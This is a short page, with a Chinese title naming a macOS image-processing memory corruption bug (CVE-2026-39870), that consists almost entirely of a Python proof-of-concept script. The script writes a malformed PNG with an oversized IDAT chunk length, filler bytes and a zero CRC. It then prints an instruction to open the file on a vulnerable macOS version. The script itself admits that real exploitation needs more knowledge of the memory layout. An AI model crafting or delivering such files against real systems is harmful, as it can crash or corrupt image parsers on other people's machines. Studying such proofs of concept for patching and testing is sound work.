CVE-2026-39870 macOS图像处理内存损坏漏洞

import struct # PoC for CVE-2026-39870 Concept # This script generates a potentially malicious image file structure to test memory handling. # Note: Actual exploitation requires specific knowledge of the memory layout and image parser. def create_malicious_image(filename): # Start with a valid header (e.g., PNG signature) png_header = b'\x89PNG\r\n\x1a\n' # Construct a malicious chunk to trigger memory corruption # Using an excessive length value to potentially bypass bounds checks chunk_length = struct.pack('>I', 0xFFFFFFF) chunk_type = b'IDAT' # Dummy data chunk_data = b'A' * 100 chunk_crc = struct.pack('>I', 0x00000000) with open(filename, 'wb') as f: f.write(png_header) f.write(chunk_length) f.write(chunk_type) f.write(chunk_data) f.write(chunk_crc) print(f"[+] Malicious file generated: {filename}") print("[+] Attempt to process this file on a vulnerable macOS version.") if __name__ == "__main__": create_malicious_image("cve_2026_39870_test.png")